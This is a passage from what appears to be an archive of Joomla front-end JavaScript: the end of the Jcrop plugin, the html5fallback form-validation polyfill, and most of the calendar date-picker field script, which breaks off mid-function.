1==a.width&&1==a.height})},a.src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw=="}(),a.Jcrop=b,a.Jcrop.supportsCanvas=z.canvas,a.Jcrop.supportsCanvasText=z.canvastext,a.Jcrop.supportsDragAndDrop=z.draganddrop,a.Jcrop.supportsDataURI=z.datauri,a.Jcrop.supportsSVG=z.svg,a.Jcrop.supportsInlineSVG=z.inlinesvg,a.Jcrop.supportsSVGClipPaths=z.svgclippaths,a.Jcrop.supportsCSSTransforms=z.csstransforms,a.Jcrop.supportsTouch=z.touch}(jQuery);PK!;s��66js/html5fallback.jsnu�[���!function(a,b,c){"use strict";"function"!=typeof Object.create&&(Object.create=function(a){function b(){}return b.prototype=a,new b});var d=function(a,b){for(var c=["required","pattern","placeholder","autofocus","formnovalidate"],d=["email","url","number","range"],e={attributes:{},types:{}};b=c.pop();)e.attributes[b]=!!(b in a);for(;b=d.pop();)a.setAttribute("type",b),e.types[b]=a.type==b;return e}(b.createElement("input")),e={init:function(b,c){var d=this;d.elem=c,d.$elem=a(c),c.H5Form=d,d.options=a.extend({},a.fn.h5f.options,b),"form"===c.nodeName.toLowerCase()&&d.bindWithForm(d.elem,d.$elem)},bindWithForm:function(a,b){var i,e=this,f=!!b.attr("novalidate"),g=a.elements,h=g.length;for("onSubmit"===e.options.formValidationEvent&&b.on("submit",function(a){i=this.H5Form.donotValidate!==c&&this.H5Form.donotValidate,i||f||e.validateForm(e)?b.find(":input").each(function(){e.placeholder(e,this,"submit")}):(a.preventDefault(),this.donotValidate=!1)}),b.on("focusout focusin",function(a){e.placeholder(e,a.target,a.type)}),b.on("focusout change",e.validateField),b.find("fieldset").on("change",function(){e.validateField(this)}),d.attributes.formnovalidate||b.find(":submit[formnovalidate]").on("click",function(){e.donotValidate=!0});h--;)e.polyfill(g[h]),e.autofocus(e,g[h])},polyfill:function(a){if("form"===a.nodeName.toLowerCase())return!0;var b=a.form.H5Form;b.placeholder(b,a),b.numberType(b,a)},validateForm:function(){var f,g,a=this,b=a.elem,c=b.elements,d=c.length,e=!0;for(b.isValid=!0,f=0;f<d;f++)g=c[f],g.isRequired=!!g.required,g.isDisabled&&(g.isDisabled=!!g.disabled),g.isDisabled||(e=a.validateField(g),b.isValid&&!e&&a.setFocusOn(g),b.isValid=e&&b.isValid);return a.options.doRenderMessage&&a.renderErrorMessages(a,b),b.isValid},validateField:function(b){var j,k,l,e=b.target||b,f=!1,g=!1,h=!1,i=!1;return e.form===c?null:(j=e.form.H5Form,k=a(e),g=!!k.attr("required"),h=!!k.attr("disabled"),e.isDisabled||(f=!d.attributes.required&&g&&j.isValueMissing(j,e),i=!d.attributes.pattern&&j.matchPattern(j,e)),e.validityState={valueMissing:f,patternMismatch:i,valid:e.isDisabled||!(f||i)},d.attributes.required||(e.validityState.valueMissing?k.addClass(j.options.requiredClass):k.removeClass(j.options.requiredClass)),d.attributespattern||(e.validityState.patternMismatch?k.addClass(j.options.patternClass):k.removeClass(j.options.patternClass)),e.validityState.valid?(k.removeClass(j.options.invalidClass),l=j.findLabel(k),l.removeClass(j.options.invalidClass),l.attr("aria-invalid","false")):(k.addClass(j.options.invalidClass),l=j.findLabel(k),l.addClass(j.options.invalidClass),l.attr("aria-invalid","true")),e.validityState.valid)},isValueMissing:function(e,f){var k,l,m,g=a(f),h=f.type!==c?f.type:f.tagName.toLowerCase(),i=/^(checkbox|radio|fieldset)$/i.test(h),j=/^submit$/i.test(h);if(j)return!1;if(i){if("checkbox"===h)return!g.is(":checked");for(k="fieldset"===h?g.find("input"):b.getElementsByName(f.name),l=0,m=k.length;l<m;l++)if(a(k[l]).is(":checked"))return!1;return!0}return!(""!==g.val()&&(d.attributes.placeholder||!g.hasClass(e.options.placeholderClass)))},matchPattern:function(b,e){var j,k,f=a(e),g=f.attr("value"),h=f.attr("pattern"),i=f.attr("type");if(!d.attributes.placeholder&&f.attr("placeholder")&&f.hasClass(b.options.placeholderClass)||(g=f.attr("value")),""===g)return!1;if("email"===i){if(f.attr("multiple")===c)return!b.options.emailPatt.test(g);for(g=g.split(b.options.mutipleDelimiter),j=0,k=g.length;j<k;j++)if(!b.options.emailPatt.test(g[j].replace(/[ ]*/g,"")))return!0}else{if("url"===i)return!b.options.urlPatt.test(g);if("text"===i&&h!==c)return usrPatt=new RegExp("^(?:"+h+")$"),!usrPatt.test(g)}return!1},placeholder:function(b,e,f){var g=a(e),h=g.attr("placeholder"),i=/^(focusin|submit)$/i.test(f),j=/^(input|textarea)$/i.test(e.nodeName),k=/^password$/i.test(e.type),l=d.attributes.placeholder;l||!j||k||h===c||(""!==e.value||i?e.value===h&&i&&(e.value="",g.removeClass(b.options.placeholderClass)):(e.value=h,g.addClass(b.options.placeholderClass)))},numberType:function(b,c){var i,j,k,l,m,n,o,p,e=a(c),f=e.attr("type"),g=/^input$/i.test(c.nodeName),h=/^(number|range)$/i.test(f);if(!(!g||!h||"number"==f&&d.types.number||"range"==f&&d.types.range)){for(i=parseInt(e.attr("min")),j=parseInt(e.attr("max")),k=parseInt(e.attr("step")),l=parseInt(e.attr("value")),m=e.prop("attributes"),n=a("<select>"),i=isNaN(i)?-100:i,p=i;p<=j;p+=k)o=a('<option value="'+p+'">'+p+"</option>"),(l==p||l>p&&l<p+k)&&o.attr("selected",""),n.append(o);a.each(m,function(){n.attr(this.name,this.value)}),e.replaceWith(n)}},autofocus:function(b,c){var e=a(c),f=!!e.attr("autofocus"),g=/^(input|textarea|select|fieldset)$/i.test(c.nodeName),h=/^submit$/i.test(c.type),i=d.attributes.autofocus;!i&&g&&!h&&f&&a(function(){b.setFocusOn(c)})},findLabel:function(b){var d,c=a('label[for="'+b.attr("id")+'"]');return c.length<=0&&(d=b.parent(),"label"==d.get(0).tagName.toLowerCase()&&(c=d)),c},setFocusOn:function(b){"fieldset"===b.tagName.toLowerCase()?a(b).find(":first").focus():a(b).focus()},renderErrorMessages:function(b,c){for(var g,h,d=c.elements,e=d.length,f={errors:[]};e--;)g=a(d[e]),h=b.findLabel(g),g.hasClass(b.options.requiredClass)&&(f.errors[e]=h.text().replace("*","")+b.options.requiredMessage),g.hasClass(b.options.patternClass)&&(f.errors[e]=h.text().replace("*","")+b.options.patternMessage);f.errors.length>0&&Joomla.renderMessages(f)}};a.fn.h5f=function(a){return this.each(function(){Object.create(e).init(a,this)})},a.fn.h5f.options={invalidClass:"invalid",requiredClass:"required",requiredMessage:" is required.",placeholderClass:"placeholder",patternClass:"pattern",patternMessage:" doesn't match pattern.",doRenderMessage:!1,formValidationEvent:"onSubmit",emailPatt:/^[a-zA-Z0-9.!#$%&‚Äô*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/,urlPatt:/[a-z][\-\.+a-z]*:\/\//i},a(function(){a("form").h5f({doRenderMessage:!0,requiredClass:"musthavevalue"})})}(jQuery,document);PK!�����js/fields/calendar.jsnu�[���/**
 * @copyright  (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
!(function(window, document){
	'use strict';

	/** Method to convert numbers to local symbols. */
	Date.convertNumbers = function(str) {
		var str = str.toString();

		if (Object.prototype.toString.call(JoomlaCalLocale.localLangNumbers) === '[object Array]') {
			for (var i = 0; i < JoomlaCalLocale.localLangNumbers.length; i++) {
				str = str.replace(new RegExp(i, 'g'), JoomlaCalLocale.localLangNumbers[i]);
			}
		}
		return str;
	};

	/** Translates to english numbers a string. */
	Date.toEnglish = function(str) {
		str = this.toString();
		var nums = [0,1,2,3,4,5,6,7,8,9];
		for (var i = 0; i < 10; i++) {
			str = str.replace(new RegExp(nums[i], 'g'), i);
		}
		return str;
	};

	// CustomEvent polyfill for IE
	(function () {

		if ( typeof window.CustomEvent === "function" ) return false;

		function CustomEvent ( event, params ) {
			params = params || { bubbles: false, cancelable: false, detail: undefined };
			var evt = document.createEvent('CustomEvent');
			evt.initCustomEvent( event, params.bubbles, params.cancelable, params.detail );
			return evt;
		}

		window.CustomEvent = CustomEvent;
	})();

	var JoomlaCalendar = function (element) {

		// Initialize only if the element exists
		if (!element) {
			throw new Error("Calendar setup failed:\n  No valid element found, Please check your code");
		}

		if (typeof Date.parseFieldDate !== 'function') {
			throw new Error("Calendar setup failed:\n  No valid date helper, Please check your code");
		}

		if (element._joomlaCalendar) {
			throw new Error('JoomlaCalendar instance already exists for the element');
		}

		element._joomlaCalendar = this;

		this.writable   = true;
		this.hidden     = true;
		this.params     = {};
		this.element    = element;
		this.inputField = element.getElementsByTagName('input')[0];
		this.button     = element.getElementsByTagName('button')[0];

		if (!this.inputField) {
			throw new Error("Calendar setup failed:\n  No valid input found, Please check your code");
		}

		// Prepare the parameters
		this.params = {
			debug: false,
			clicked: false,
			element: {style: {display: "none"}},
			writable: true
		};

		var self = this,
			btn  = this.button,
			instanceParams = {
				inputField      : this.inputField,
				dateType        : JoomlaCalLocale.dateType ? JoomlaCalLocale.dateType : 'gregorian',
				direction       : (document.dir !== undefined) ? document.dir : document.getElementsByTagName("html")[0].getAttribute("dir"),
				firstDayOfWeek  : btn.getAttribute("data-firstday") ? parseInt(btn.getAttribute("data-firstday")) : 0,
				dateFormat      : "%Y-%m-%d %H:%M:%S",
				weekend         : JoomlaCalLocale.weekend ? JoomlaCalLocale.weekend : [0,6],
				minYear         : JoomlaCalLocale.minYear ? JoomlaCalLocale.minYear : 1900,
				maxYear         : JoomlaCalLocale.maxYear ? JoomlaCalLocale.maxYear : 2100,
				minYearTmp      : btn.getAttribute("data-min-year"),
				maxYearTmp      : btn.getAttribute("data-max-year"),
				weekendTmp      : btn.getAttribute("data-weekend"),
				time24          : true,
				showsOthers     : (parseInt(btn.getAttribute("data-show-others")) === 1) ? true : false,
				showsTime       : true,
				weekNumbers     : (parseInt(btn.getAttribute("data-week-numbers")) === 1) ? true : false,
				showsTodayBtn   : true,
				compressedHeader: (parseInt(btn.getAttribute("data-only-months-nav")) === 1) ? true : false,
			};

		// Keep B/C
		if (btn.getAttribute("data-dayformat")) {
			instanceParams.dateFormat = btn.getAttribute("data-dayformat") ? btn.getAttribute("data-dayformat") : "%Y-%m-%d %H:%M:%S";
		}

		if (btn.getAttribute("data-time-24")) {
			instanceParams.time24 = parseInt(btn.getAttribute("data-time-24")) === 24 ? true : false;
		}

		if (btn.getAttribute("data-show-time")) {
			instanceParams.showsTime = parseInt(btn.getAttribute("data-show-time")) === 1 ? true : false;
		}

		if (btn.getAttribute("data-today-btn")) {
			instanceParams.showsTodayBtn = parseInt(btn.getAttribute("data-today-btn")) === 1 ? true : false;
		}

		// Merge the parameters
		for (var param in instanceParams) {
			this.params[param] = instanceParams[param];
		}

		// Evaluate the min year
		if (isInt(self.params.minYearTmp)) {
			self.params.minYear = getBoundary(parseInt(self.params.minYearTmp), self.params.dateType);
		}
		// Evaluate the max year
		if (isInt(self.params.maxYearTmp)) {
			self.params.maxYear = getBoundary(parseInt(self.params.maxYearTmp), self.params.dateType);
		}
		// Evaluate the weekend days
		if (self.params.weekendTmp !== "undefined") {
			self.params.weekend = self.params.weekendTmp.split(',').map(function(item) { return parseInt(item, 10); });
		}

		// Event handler need to define here, to be able access in current context
		this._dayMouseDown = function(event) {
			return self._handleDayMouseDown(event);
		};
		this._calKeyEvent = function(event) {
			return self._handleCalKeyEvent(event);
		};
		this._documentClick = function(event) {
			return self._handleDocumentClick(event);
		};

		// Set it up
		this.checkInputs();

		// For the fields with readonly tag calendar will not initiate fully
		if (this.inputField.getAttribute('readonly')) {
			return;
		}

		this._create();
		this._bindEvents();
	};

	JoomlaCalendar.prototype.checkInputs = function () {
		// Get the date from the input
		var inputAltValueDate = Date.parseFieldDate(this.inputField.getAttribute('data-alt-value'), this.params.dateFormat, 'gregorian');

		if (this.inputField.value !== '') {
			this.date = inputAltValueDate;
			this.inputField.value = inputAltValueDate.print(this.params.dateFormat, this.params.dateType, true);
		} else {
			this.date = new Date();
		}
	};

	/** Removes the calendar object from the DOM tree and destroys it and then recreates it. */
	JoomlaCalendar.prototype.recreate = function () {
		var element = this.element, el = element.querySelector('.js-calendar');
		if (el) {
			element._joomlaCalendar = null;
			el.parentNode.removeChild(el);
			new JoomlaCalendar(element);
		}
	};

	/** Time Control */
	JoomlaCalendar.prototype.updateTime = function (hours, mins, secs) {
		var self = this,
			date = self.date;

		var d = self.date.getLocalDate(self.params.dateType),
			m = self.date.getLocalMonth(self.params.dateType),
			y = self.date.getLocalFullYear(self.params.dateType),
			ampm = this.inputField.parentNode.parentNode.querySelectorAll('.time-ampm')[0];

		if (!self.params.time24) {
			if (/pm/i.test(ampm.value) && hours < 12) {
				hours = parseInt(hours) + 12;
			} else if (/am/i.test(ampm.value) && hours == 12) {
				hours = 0;
			}
		}

		date.setHours(hours);
		date.setMinutes(parseInt(mins, 10));
		date.setSeconds(date.getSeconds());
		date.setLocalFullYear(self.params.dateType, y);
		date.setLocalMonth(self.params.dateType, m);
		date.setLocalDate(self.params.dateType, d);
		self.dateClicked = false;

		this.callHandler();
	};

	/** Method to set the date to the given date object */
	JoomlaCalendar.prototype.setDate = function (date) {
		if (!date.equalsTo(this.date)) {
			this.date = date;
			this.processCalendar(this.params.firstDayOfWeek, date);
		}
	};

	/** Method to set the current date by a number, step */
	JoomlaCalendar.prototype.moveCursorBy = function (step) {
		var date = new Date(this.date);
		date.setDate(date.getDate() - step);
		this.setDate(date);
	};

	/** Reset select element */
	JoomlaCalendar.prototype.resetSelected = function (element) {
		var options = element.options;
		var i = options.length;
		while (i--) {
			var current = options[i];
			if (current.selected) {
				current.selected = false;
			}
		}
	};

	/** Method to set the value for the input field */
	JoomlaCalendar.prototype.callHandler = function () {
		/** Output the date **/
		this.inputField.setAttribute('data-alt-value', this.date.print(this.params.dateFormat, 'gregorian', false));

		if (this.inputField.getAttribute('data-alt-value') && this.inputField.getAttribute('data-alt-value') !== '0000-00-00 00:00:00') {
			this.inputField.value = this.date.print(this.params.dateFormat, this.params.dateType, true);
			if (this.params.dateType !== 'gregorian') {
				this.inputField.setAttribute('data-local-value', this.date.print(this.params.dateFormat, this.params.dateType, true));
			}
		}
		this.inputField.value = this.date.print(this.params.dateFormat, this.params.dateType, true);

		if (this.dateClicked && typeof this.params.onUpdate === "function") {
			this.params.onUpdate(this);
		}

		this.inputField.dispatchEvent(new CustomEvent('change', {bubbles: true, cancelable: true}));

		if (this.dateClicked) {
			this.close();
		} else {
			this.processCalendar();
		}
	};

	/** Method to close/hide the calendar */
	JoomlaCalendar.prototype.close = function () {
		this.hide();
	};

	/** Method to show the calendar. */
	JoomlaCalendar.prototype.show = function () {
		/** This is needed for IE8 */
		if (navigator.appName.indexOf("Internet Explorer")!==-1) {
			var badBrowser = (
				navigator.appVersion.indexOf("MSIE 9")===-1 &&
				navigator.appVersion.indexOf("MSIE 1")===-1
			);

			if (badBrowser) {
				if (window.jQuery && jQuery().chosen) {
					var selItems = this.element.getElementsByTagName('select');
					for (var i = 0; i < selItems.length; i++) {
						jQuery(selItems[i]).chosen('destroy');
					}
				}
			}
		}

		this.checkInputs();
		this.inputField.focus();
		this.dropdownElement.style.display = "block";
		this.hidden = false;

		document.addEventListener("keydown", this._calKeyEvent, true);
		document.addEventListener("keypress", this._calKeyEvent, true);
		document.addEventListener("mousedown", this._documentClick, true);

		/** Move the calendar to top position if it doesn't fit below. */
		var containerTmp = this.element.querySelector('.js-calendar');

		if (window.innerHeight < containerTmp.getBoundingClientRect().bottom + 20) {
			containerTmp.style.marginTop = - (containerTmp.getBoundingClientRect().height + this.inputField.getBoundingClientRect().height) + "px";
		}

		this.processCalendar();
	};

	/** Method to hide the calendar. */
	JoomlaCalendar.prototype.hide = function () {
		document.removeEventListener("keydown", this._calKeyEvent, true);
		document.removeEventListener("keypress", this._calKeyEvent, true);
		document.removeEventListener("mousedown", this._documentClick, true);

		this.dropdownElement.style.display = "none";
		this.hidden = true;
	};

	/** Method to catch clicks outside of the calendar (used as close call) */
	JoomlaCalendar.prototype._handleDocumentClick = function (ev) {
		var el = ev.target;

		if (el !== null && !el.classList.contains('time')) {
			for (; el !== null && el !== this.element; el = el.parentNode);
		}

		if (el === null) {
			document.activeElement.blur();
			this.hide();
			return stopCalEvent(ev);
		}
	};

	/** Method to handle mouse click events (menus, buttons) **/
	JoomlaCalendar.prototype._handleDayMouseDown = function (ev) {
		var self = this,
			el = ev.currentTarget,
			target = ev.target || ev.srcElement;

		if (target && target.hasAttribute('data-action')) {
			return;
		}

		if (el.nodeName !== 'TD') {                         // A bootstrap inner button was pressed?
			var testel = el.getParent('TD');
			if (testel.nodeName === 'TD') {                 // Yes so use that element's td
				el = testel;
			} else {                                        // No - try to find the table this way
				el = el.getParent('TD');
				if (el.classList.contains('js-calendar')) {
					el = el.getElementsByTagName('table')[0];
				}
			}
		} else {                                            // Check that doesn't have a button and is not a day td
			if (!(target.classList.contains('js-btn')) && !el.classList.contains('day') && !el.classList.contains('title')) {
				return;
			}
		}

		if (!el || el.disabled) {
			return false;
		}

		if (typeof el.navtype === "undefined" || el.navtype !== 300) {
			if (el.navtype === 50) { el._current = el.innerHTML; }

			if (target === el || target.parentNode === el) { self.cellClick(el, ev); }

			var mon = null;
			if (typeof el.month !== "undefined") {
				mon = el;
			}
			if (typeof el.parentNode.month !== "undefined") {
				mon = el.parentNode;
			}
			var date = null;
			if (mon) {
				date = new Date(self.date);
				if (mon.month !== date.getLocalMonth(self.params.dateType)) {
					date.setLocalMonth(self.params.dateType, mon.month);
					self.setDate(date);
					self.dateClicked = false;
					this.callHandler();
				}
			} else {
				var year = null;
				if (typeof el.year !== "undefined") {
					year = target;
				}
				if (typeof el.parentNode.year !== "undefined") {
					year = target.parentNode;
				}
				if (year) {
					date = new Date(self.date);
					if (year.year !== date.getLocalFullYear(self.params.dateType)) {
						date.setFullYear(self.params.dateType, year.year);
						self.setDate(date);
						self.dateClicked = false;
						this.callHandler();
					}
				}
			}
		}

		return stopCalEvent(ev);
	};

	/** Method to handle mouse click events (dates) **/
	JoomlaCalendar.prototype.cellClick = function (el, ev) {
		var self = this,
			closing = false,
			newdate = false,
			date = null;

		if (typeof el.navtype === "undefined") {
			if (self.currentDateEl) {
				el.classList.add("selected");
				self.currentDateEl = el.caldate;
				closing = (self.currentDateEl === el.caldate);
				if (!closing) {
					self.currentDateEl = el.caldate;
				}
			}
			self.date.setLocalDateOnly('gregorian', el.caldate);
			var other_month = !(self.dateClicked = !el.otherMonth);
			if (self.currentDateEl) { newdate = !el.disabled; }
			if (other_month) {
				this.processCalendar();
			}
		} else {
			date = new Date(self.date);
			self.dateClicked = false;
			var year = date.getOtherFullYear(self.params.dateType), mon = date.getLocalMonth(self.params.dateType);
			switch (el.navtype) {
				case 400:
					break;
				case -2:                                                                             // Prev year
					if (!self.params.compressedHeader) {
						if (year > self.params.minYear) {
							date.setOtherFullYear(self.params.dateType, year - 1);
						}
					}
					break;
				case -1:                                                                             // Prev month
					var day = date.getLocalDate(self.params.dateType);
					if (mon > 0) {
						var max = date.getLocalMonthDays(self.params.dateType, mon - 1);
						if (day > max) {
							date.setLocalDate(self.params.dateType, max);
						}
						date.setLocalMonth(self.params.dateType, mon - 1);
					} else if (year-- > self.params.minYear) {
						date.setOtherFullYear(self.params.dateType, year);
						var max = date.getLocalMonthDays(self.params.dateType, 11);
						if (day > max) {
							date.setLocalDate(self.params.dateType, max);
						}
						date.setLocalMonth(self.params.dateType, 11);
					}
					break;
				case 1:                                                                             // Next month
					var day = date.getLocalDate(self.params.dateType);
					if (mon < 11) {
						var max = date.getLocalMonthDays(self.params.dateType, mon + 1);
						if (day > max) {
							date.setLocalDate(self.params.dateType, max);
						}
						date.setLocalMonth(self.params.dateType, mon + 1);
					} else if (year < self.params.maxYear) {
						date.setOtherFullYear(self.params.dateType, year + 1);
						var max = date.getLocalMonthDays(self.params.dateType, 0);
						if (day > max) {
							date.setLocalDate(self.params.dateType, max);
						}
						date.setLocalMonth(self.params.dateType, 0);
					}
					break;
				case 2:                                                                             // Next year
					if (!self.params.compressedHeader)
						if (year < self.params.maxYear) {
							date.setOtherFullYear(self.params.dateType, year + 1);
						}
					break;
				case 0:                                                                             // Today
					break;
			}

			if (!date.equalsTo(self.date)) {
				this.setDate(date);
				newdate = true;
			} else if (el.navtype === 0) {
				newdate = closing = true;
			}
		}

		if (newdate) {
			if (self.params.showsTime) {
				this.dateClicked = false;
			}
			ev && this.callHandler();
		}

		el.classList.remove("hilite");

		if (closing && !self.params.showsTime) {
			self.dateClicked = false;
			ev && this.close();
		}
	};

	/** Method to handle keyboard click events **/
	JoomlaCalendar.prototype._handleCalKeyEvent = function (ev) {
		var self = this,
			K = ev.keyCode;

		// Get value from input
		if (ev.target === this.inputField && (K === 13 || K === 9)) {
			this.close();
		}

		if (self.params.direction === 'rtl') {
			if (K === 37) {
				K = 39;
			} else if (K === 39) {
				K = 37;
			}
		}

		if (K === 32) {                                // KEY Shift + space (now)
			if (ev.shiftKey) {
				ev.preventDefault();
				this.cellClick(self._nav_now, ev);
				self.close();
			}
		}
		if (K === 27) {                                // KEY esc (close);
			this.close();
		}
		if (K === 38) {                                // KEY up (previous week)
			this.moveCursorBy(7);
		}
		if (K === 40) {                                // KEY down (next week)
			this.moveCursorBy( -7);
		}
		if (K === 37) {                                // KEY left (previous day)
			this.moveCursorBy(1);
		}
		if (K === 39) {                                // KEY right (next day)
			this.moveCursorBy( -1);
		}
		if (ev.target === this.inputField && !(K>48 || K<57 || K===186 || K===189 || K===190 || K===32)) {
			return stopCalEvent(ev);
		}
	};

	/** Method to create the html structure of the calendar */
	JoomlaCalendar.prototype._create = function () {
		var self   = this,
			parent = this.element,
			table  = createElement("table"),
			div    = createElement("div");

		this.table = table;
		table.className = 'table';
		table.cellSpacing = 0;
		table.cellPadding = 0;
		table.style.marginBottom = 0;

		this.dropdownElement = div;
		parent.appendChild(div);

		if (this.params.direction) {
			div.style.direction = this.params.direction;
		}

		div.className = 'js-calendar';
		div.style.position = "absolute";
		div.style.boxShadow = "0px 0px 70px 0px rgba(0,0,0,0.67)";
		div.style.minWidth = this.inputField.width;
		div.style.padding = '0';
		div.style.display = "none";
		div.style.left = "auto";
		div.style.top = "auto";
		div.style.zIndex = 1060;
		div.style.borderRadius = "20px";

		this.wrapper = createElement('div');
		this.wrapper.className = 'calendar-container';
		div.appendChild(this.wrapper);
		this.wrapper.appendChild(table);

		var thead = createElement("thead", table);
		thead.className = 'calendar-header';

		var cell = null,
			row  = null,
			cal  = this,
			hh   = function (text, cs, navtype, node, styles, classes, attributes) {
				node = node ? node : "td";
				styles = styles ? styles : {};
				cell = createElement(node, row);
				if (cs) {
					classes = classes ? 'class="' + classes + '"' : '';
				cell.colSpan = cs;
				}

				for (var key in styles) {
					cell.style[key] = styles[key];
				}
				for (var key in attributes) {
					cell.setAttribute(key, attributes[key]);
				}
				if (navtype !== 0 && Math.abs(navtype) <= 2) {
					cell.className += " nav";
				}

				if (cs) {
					cell.addEventListener("mousedown", self._dayMouseDown, true);
				}

				cell.calendar = cal;
				cell.navtype = navtype;
				if (navtype !== 0 && Math.abs(navtype) <= 2) {
					cell.innerHTML = "<a " + classes + " style='display:inline;padding:2px 6px;cursor:pointer;text-decoration:none;' unselectable='on'>" + text + "</a>";
				} else {
					cell.innerHTML = cs ? "<div unselectable='on'" + classes + ">" + text + "</div>" : text;
					if (!cs && classes) {
						cell.className = classes;
					}
				}
				return cell;
			};

		if (this.params.compressedHeader === false) {                                                        // Head - year
			row = createElement("tr", thead);
			row.className = "calendar-head-row";
			this._nav_py = hh("&lsaquo;", 1, -2, '', {"text-align": "center", "font-size": "18px", "line-height": "18px"}, 'js-btn btn-prev-year');                   // Previous year button
			this.title = hh('<div style="text-align:center;font-size:18px"><span></span></div>', this.params.weekNumbers ? 6 : 5, 300);
			this.title.className = "title";
			this._nav_ny = hh(" &rsaquo;", 1, 2, '', {"text-align": "center", "font-size": "18px", "line-height": "18px"}, 'js-btn btn-next-year');                   // Next year button
		}

		row = createElement("tr", thead);                                                                   // Head - month
		row.className = "calendar-head-row";
		this._nav_pm = hh("&lsaquo;", 1, -1, '', {"text-align": "center", "font-size": "2em", "line-height": "1em"}, 'js-btn btn-prev-month');                       // Previous month button
		this._nav_month = hh('<div style="text-align:center;font-size:1.2em"><span></span></div>', this.params.weekNumbers ? 6 : 5, 888, 'td', {'textAlign': 'center'});
		this._nav_month.className = "title";
		this._nav_nm = hh(" &rsaquo;", 1, 1, '', {"text-align": "center", "font-size": "2em", "line-height": "1em"}, 'js-btn btn-next-month');                       // Next month button

		row = createElement("tr", thead);                                                                   // day names
		row.className = self.params.weekNumbers ? "daynames wk" : "daynames";
		if (this.params.weekNumbers) {
			cell = createElement("td", row);
			cell.className = "day-name wn";
			cell.innerHTML = JoomlaCalLocale.wk;
		}
		for (var i = 7; i > 0; --i) {
			cell = createElement("td", row);
			if (!i) {
				cell.calendar = self;
			}
		}
		this.firstdayname = (this.params.weekNumbers) ? row.firstChild.nextSibling : row.firstChild;

		var fdow = this.params.firstDayOfWeek,
			cell = this.firstdayname,
			weekend = JoomlaCalLocale.weekend;

		for (var i = 0; i < 7; ++i) {
			var realday = (i + fdow) % 7;
			cell.classList.add("day-name");
			this.params.weekNumbers ? cell.classList.add('day-name-week') : '';

			if (i) {
				cell.calendar = self;
				cell.fdow = realday;
			}
			if (weekend.indexOf(weekend) !== -1) {
				cell.classList.add("weekend");
			}

			cell.innerHTML = JoomlaCalLocale.shortDays[(i + fdow) % 7];
			cell = cell.nextSibling;
		}

		var tbody = createElement("tbody", table);
		this.tbody = tbody;
		for (i = 6; i > 0; --i) {
			row = createElement("tr", tbody);
			if (this.params.weekNumbers) {
				cell = createElement("td", row);
			}

			for (var j = 7; j > 0; --j) {
				cell = createElement("td", row);
				cell.calendar = this;
				cell.addEventListener("mousedown", this._dayMouseDown, true);
			}
		}

		if (this.params.showsTime) {
			row = createElement("tr", tbody);
			row.className = "time";

			cell = createElement("td", row);
			cell.className = "time time-title";
			cell.colSpan = 1;
			cell.style.verticalAlign = 'middle';
			cell.innerHTML = " ";

			var cell1 = createElement("td", row);
			cell1.className = "time hours-select";
			cell1.colSpan = 2;

			var cell2 = createElement("td", row);
			cell2.className = "time minutes-select";
			cell2.colSpan = 2;

			(function () {
				function makeTimePart(className, selected, range_start, range_end, cellTml) {
					var part = createElement("select", cellTml), num;
					part.calendar  = self;
					part.className =  className;
					part.setAttribute('data-chosen', true); // avoid Chosen, hack
					part.style.width = '100%';
					part.navtype = 50;
					part._range = [];
					for (var i = range_start; i <= range_end; ++i) {
						var txt, selAttr = '';
						if (i === selected) {
							selAttr = true;
						}
						if (i < 10 && range_end >= 10) {
							num = '0' + i;
							txt = Date.convertNumbers('0') + Date.convertNumbers(i);
						} else {
							num = '' + i;
							txt = '' + Date.convertNumbers(i);
						}
						part.options.add(new Option(txt, num, selAttr, selAttr));
					}
					return part;
				}
				var hrs  = self.date.getHours(),
					mins = self.date.getMinutes(),
					t12  = !self.params.time24,
					pm   = (self.date.getHours() > 12);

				if (t12 && pm) {
					hrs -= 12;
				}

				var H = makeTimePart("time time-hours", hrs, t12 ? 1 : 0, t12 ? 12 : 23, cell1),
					M = makeTimePart("time time-minutes", mins, 0, 59, cell2),
					AP = null;

				cell = createElement("td", row);
				cell.className = "time ampm-select";
				cell.colSpan = self.params.weekNumbers ? 1 : 2;

				if (t12) {
					var selAttr = true,
						altDate = Date.parseFieldDate(self.inputField.getAttribute('data-alt-value'), self.params.dateFormat, 'gregorian');
					pm = (altDate.getHours() >= 12);

					var part = createElement("select", cell);
					part.className = "time-ampm";
					part.style.width = '100%';
					part.options.add(new Option(JoomlaCalLocale.PM, "pm", pm ? selAttr : '', pm ? selAttr : ''));
					part.options.add(new Option(JoomlaCalLocale.AM, "am", pm ? '' : selAttr, pm ? '' : selAttr));
					AP = part;

					// Event listener for the am/pm select
					AP.addEventListener("change", function (event) {
						self.updateTime(event.target.parentNode.parentNode.childNodes[1].childNodes[0].value,
							event.target.parentNode.parentNode.childNodes[2].childNodes[0].value,
							event.target.parentNode.parentNode.childNodes[3].childNodes[0].value);
					}, false);
				} else {
					cell.innerHTML = "&#160;";
					cell.colSpan = self.params.weekNumbers ? 3 : 2;
				}

				H.addEventListener("change", function (event) {
					self.updateTime(event.target.parentNode.parentNode.childNodes[1].childNodes[0].value,
						event.target.parentNode.parentNode.childNodes[2].childNodes[0].value,
						event.target.parentNode.parentNode.childNodes[3].childNodes[0].value);
				}, false);
				M.addEventListener("change", function (event) {
					self.updateTime(event.target.parentNode.parentNode.childNodes[1].childNodes[0].value,
						event.target.parentNode.parentNode.childNodes[2].childNodes[0].value,
						event.target.parentNode.parentNode.childNodes[3].childNodes[0].value);
				}, false);
			})();
		}

		row = createElement("div", this.wrapper);
		row.className = "buttons-wrapper btn-group";

		this._nav_clear = hh(JoomlaCalLocale.clear, '', 100, 'button', '', 'js-btn btn btn-clear', {"type": "button", "data-action": "clear"});

			var cleara = row.querySelector('[data-action="clear"]');
			cleara.addEventListener("click", function (e) {
				e.preventDefault();
				var days = self.table.querySelectorAll('td');
				for (var i = 0; i < days.length; i++) {
					if (days[i].classList.contains('selected')) {
						days[i].classList.remove('selected');
						break;
					}
				}
				self.inputField.setAttribute('data-alt-value', "0000-00-00 00:00:00");
				self.inputField.setAttribute('value', '');
				self.inputField.value = '';
				self.inputField.dispatchEvent(new CustomEvent('change', {bubbles: true, cancelable: true}));
			});

		if (this.params.showsTodayBtn) {
			this._nav_now = hh(JoomlaCalLocale.today, '', 0, 'button', '', 'js-btn btn btn-today', {"type": "button", "data-action": "today"});

